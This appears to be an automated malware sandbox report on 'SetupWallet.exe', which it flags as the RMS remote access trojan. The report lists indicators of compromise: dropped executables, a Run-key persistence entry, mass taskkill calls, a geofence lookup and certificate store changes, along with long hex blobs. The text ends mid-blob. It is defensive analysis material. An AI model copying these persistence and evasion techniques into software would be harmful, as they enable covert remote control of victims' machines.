rms | c6aaa202c84a30b41d1d01ae6c94a73dd4ab92af7f9665d543493258e7a61fdd

Analysis

max time kernel
162s
max time network
171s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
17-03-2022 01:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SetupWallet.exe
Size

6.8MB
MD5

5ed4af2f49c3a4766bd4094209a3a030
SHA1

42d0072de6ed12bd605a0362cbe2330c69a93d88
SHA256

65526a403bca2df4dbcbb9997a8d012d6910ffe02342d790e5209eeb339d1027
SHA512

6f238ddb43316e3cc9352caab9103f447938d500db2fa5d074bbdc1d76958306839b6fed352517e9d5d4b861ac14dbb4bdd313c8b94a791b58208d2f328f26fe

Score

10^/10

rms persistence rat trojan

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1504 created 4520	1504	svchost.exe	85

Executes dropped EXE 3 IoCs

pid	Process
3380	SetupWallet.tmp
4520	rutserv.exe
1916	rutserv.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	rutserv.exe

Loads dropped DLL 4 IoCs

pid	Process
4520	rutserv.exe
4520	rutserv.exe
1916	rutserv.exe
1916	rutserv.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\serv = "C:\\ProgramData\\Immunity\\rutserv.exe"	reg.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\378B079587A9184B2E2AB859CB263F40_524AD1B9B08D3C6450727265AE77B7D2	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C86BD7751D53F10F65AAAD66BBDF33C7	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C86BD7751D53F10F65AAAD66BBDF33C7	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EB35376744F392396307460D546222D_5CEF6F51E318C288850DB2D9275D6665	rutserv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EB35376744F392396307460D546222D_5CEF6F51E318C288850DB2D9275D6665	rutserv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3060	4520	WerFault.exe	85

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3472	timeout.exe

Kills process with taskkill 64 IoCs

evasion

pid	Process
3388	taskkill.exe
2940	taskkill.exe
4484	taskkill.exe
3208	taskkill.exe
3680	taskkill.exe
3476	taskkill.exe
2304	taskkill.exe
2208	taskkill.exe
2124	taskkill.exe
4080	taskkill.exe
1472	taskkill.exe
4836	taskkill.exe
1476	taskkill.exe
3336	taskkill.exe
2976	taskkill.exe
3608	taskkill.exe
5024	taskkill.exe
1852	taskkill.exe
2652	taskkill.exe
744	taskkill.exe
4140	taskkill.exe
980	taskkill.exe
4412	taskkill.exe
3764	taskkill.exe
2512	taskkill.exe
3976	taskkill.exe
4208	taskkill.exe
2208	taskkill.exe
3504	taskkill.exe
3448	taskkill.exe
2972	taskkill.exe
3852	taskkill.exe
1104	taskkill.exe
4856	taskkill.exe
1836	taskkill.exe
220	taskkill.exe
1712	taskkill.exe
4440	taskkill.exe
4988	taskkill.exe
3876	taskkill.exe
4684	taskkill.exe
4344	taskkill.exe
2544	taskkill.exe
4084	taskkill.exe
4864	taskkill.exe
4776	taskkill.exe
2388	taskkill.exe
3104	taskkill.exe
1472	taskkill.exe
4732	taskkill.exe
1180	taskkill.exe
844	taskkill.exe
816	taskkill.exe
5024	taskkill.exe
3464	taskkill.exe
2976	taskkill.exe
2304	taskkill.exe
4064	taskkill.exe
2424	taskkill.exe
4316	taskkill.exe
1736	taskkill.exe
1052	taskkill.exe
4896	taskkill.exe
5108	taskkill.exe

Modifies data under HKEY_USERS 42 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	rutserv.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	rutserv.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c14000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 5c00000001000000040000000008000004000000010000001000000087ce0b7b2a0e4900e158719b37a893720300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f6200000001000000200000003e9099b5015e8f486c00bcea9d111ee721faba355a89bcf1df69561e3dc6325c090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob = 0f000000010000001400000085fef11b4f47fe3952f98301c9f98976fefee0ce7f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000002500000030233021060b6086480186f8450107300130123010060a2b0601040182373c0101030200c06200000001000000200000008d722f81a9c113c0791df136a2966db26c950a971db46b4199f4ea54b78bfb9f1400000001000000140000007b5b45cfafcecb7afd31921a6ab6f346eb5748501d00000001000000100000005b3b67000eeb80022e42605b6b3b72400b000000010000000e00000074006800610077007400650000007e000000010000000800000000c0032f2df8d60103000000010000001400000091c6d6ee3e8ac86384e548c299295c756c817b812000000001000000240400003082042030820308a0030201020210344ed55720d5edec49f42fce37db2b6d300d06092a864886f70d01010505003081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f74204341301e170d3036313131373030303030305a170d3336303731363233353935395a3081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aca0f0fb8059d49cc7a4cf9da159730910450c0d2c6e68f16c5b4868495937fc0b3319c2777fcc102d95341ce6eb4d09a71cd2b8c9973602b789d4245f06c0cc4494948d02626feb5add118d289a5c8490107a0dbd74662f6a38a0e2d55444eb1d079f07ba6feee9fd4e0b29f53e84a001f19cabf81c7e89a4e8a1d871650da3517beebcd222600db95b9ddfbafc515b0baf98b2e92ee904e86287de2bc8d74ec14c641eddcf8758ba4a4fca68071d1c9d4ac6d52f91cc7c71721cc5c067eb32fdc9925c94da85c09bbf537d2b09f48c9d911f976a52cbde0936a477d87b875044d53e6e2969fb3949261e09a5807b402debe82785c9fe61fd7ee67c971dd59d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147b5b45cfafcecb7afd31921a6ab6f346eb574850300d06092a864886f70d010105050003820101007911c04bb391b6fcf0e967d40d6e45be55e893d2ce033fedda25b01d57cb1e3a76a04cec5076e864720ca4a9f1b88bd6d68784bb32e54111c077d9b3609deb1bd5d16e4444a9a601ec55621d77b85c8e48497c9c3b5711acad73378e2f785c906847d96060e6fc073d222017c4f716e9c4d872f9c8737cdf162f15a93efd6a27b6a1eb5aba981fd5e34d640a9d13c861baf5391c87bab8bd7b227ff6feac4079e5ac106f3d8f1b79768bc437b3211884e53600eb632099b9e9fe3304bb41c8c102f94463209e81ce42d3d63f2c76d3639c59dd8fa6e10ea02e41f72e9547cfbcfd33f3f60b617e7e912b8147c22730eea7105d378f5c392be404f07b8d568c68	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob = 0400000001000000100000008ccadc0b22cef5be72ac411a11a8d81203000000010000001400000091c6d6ee3e8ac86384e548c299295c756c817b817e000000010000000800000000c0032f2df8d6010b000000010000000e00000074006800610077007400650000001d00000001000000100000005b3b67000eeb80022e42605b6b3b72401400000001000000140000007b5b45cfafcecb7afd31921a6ab6f346eb5748506200000001000000200000008d722f81a9c113c0791df136a2966db26c950a971db46b4199f4ea54b78bfb9f53000000010000002500000030233021060b6086480186f8450107300130123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703017f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b060105050703010f000000010000001400000085fef11b4f47fe3952f98301c9f98976fefee0ce2000000001000000240400003082042030820308a0030201020210344ed55720d5edec49f42fce37db2b6d300d06092a864886f70d01010505003081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f74204341301e170d3036313131373030303030305a170d3336303731363233353935395a3081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aca0f0fb8059d49cc7a4cf9da159730910450c0d2c6e68f16c5b4868495937fc0b3319c2777fcc102d95341ce6eb4d09a71cd2b8c9973602b789d4245f06c0cc4494948d02626feb5add118d289a5c8490107a0dbd74662f6a38a0e2d55444eb1d079f07ba6feee9fd4e0b29f53e84a001f19cabf81c7e89a4e8a1d871650da3517beebcd222600db95b9ddfbafc515b0baf98b2e92ee904e86287de2bc8d74ec14c641eddcf8758ba4a4fca68071d1c9d4ac6d52f91cc7c71721cc5c067eb32fdc9925c94da85c09bbf537d2b09f48c9d911f976a52cbde0936a477d87b875044d53e6e2969fb3949261e09a5807b402debe82785c9fe61fd7ee67c971dd59d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147b5b45cfafcecb7afd31921a6ab6f346eb574850300d06092a864886f70d010105050003820101007911c04bb391b6fcf0e967d40d6e45be55e893d2ce033fedda25b01d57cb1e3a76a04cec5076e864720ca4a9f1b88bd6d68784bb32e54111c077d9b3609deb1bd5d16e4444a9a601ec55621d77b85c8e48497c9c3b5711acad73378e2f785c906847d96060e6fc073d222017c4f716e9c4d872f9c8737cdf162f15a93efd6a27b6a1eb5aba981fd5e34d640a9d13c861baf5391c87bab8bd7b227ff6feac4079e5ac106f3d8f1b79768bc437b3211884e53600eb632099b9e9fe3304bb41c8c102f94463209e81ce42d3d63f2c76d3639c59dd8fa6e10ea02e41f72e9547cfbcfd33f3f60b617e7e912b8147c22730eea7105d378f5c392be404f07b8d568c68	rutserv.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob = 190000000100000010000000dc73f9b71e16d51d26527d32b11a6a3d0f000000010000001400000085fef11b4f47fe3952f98301c9f98976fefee0ce7f000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030109000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030153000000010000002500000030233021060b6086480186f8450107300130123010060a2b0601040182373c0101030200c06200000001000000200000008d722f81a9c113c0791df136a2966db26c950a971db46b4199f4ea54b78bfb9f1400000001000000140000007b5b45cfafcecb7afd31921a6ab6f346eb5748501d00000001000000100000005b3b67000eeb80022e42605b6b3b72400b000000010000000e00000074006800610077007400650000007e000000010000000800000000c0032f2df8d60103000000010000001400000091c6d6ee3e8ac86384e548c299295c756c817b810400000001000000100000008ccadc0b22cef5be72ac411a11a8d8122000000001000000240400003082042030820308a0030201020210344ed55720d5edec49f42fce37db2b6d300d06092a864886f70d01010505003081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f74204341301e170d3036313131373030303030305a170d3336303731363233353935395a3081a9310b300906035504061302555331153013060355040a130c7468617774652c20496e632e31283026060355040b131f43657274696669636174696f6e205365727669636573204469766973696f6e31383036060355040b132f2863292032303036207468617774652c20496e632e202d20466f7220617574686f72697a656420757365206f6e6c79311f301d06035504031316746861777465205072696d61727920526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aca0f0fb8059d49cc7a4cf9da159730910450c0d2c6e68f16c5b4868495937fc0b3319c2777fcc102d95341ce6eb4d09a71cd2b8c9973602b789d4245f06c0cc4494948d02626feb5add118d289a5c8490107a0dbd74662f6a38a0e2d55444eb1d079f07ba6feee9fd4e0b29f53e84a001f19cabf81c7e89a4e8a1d871650da3517beebcd222600db95b9ddfbafc515b0baf98b2e92ee904e86287de2bc8d74ec14c641eddcf8758ba4a4fca68071d1c9d4ac6d52f91cc7c71721cc5c067eb32fdc9925c94da85c09bbf537d2b09f48c9d911f976a52cbde0936a477d87b875044d53e6e2969fb3949261e09a5807b402debe82785c9fe61fd7ee67c971dd59d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604147b5b45cfafcecb7afd31921a6ab6f346eb574850300d06092a864886f70d010105050003820101007911c04bb391b6fcf0e967d40d6e45be55e893d2ce033fedda25b01d57cb1e3a76a04cec5076e864720ca4a9f1b88bd6d68784bb32e54111c077d9b3609deb1bd5d16e4444a9a601ec55621d77b85c8e48497c9c3b5711acad73378e2f785c906847d96060e6fc073d222017c4f716e9c4d872f9c8737cdf162f15a93efd6a27b6a1eb5aba981fd5e34d640a9d13c861baf5391c87bab8bd7b227ff6feac4079e5ac106f3d8f1b79768bc437b3211884e53600eb632099b9e9fe3304bb41c8c102f94463209e81ce42d3d63f2c76d3639c59dd8fa6e10ea02e41f72e9547cfbcfd33f3f60b617e7e912b8147c22730eea7105d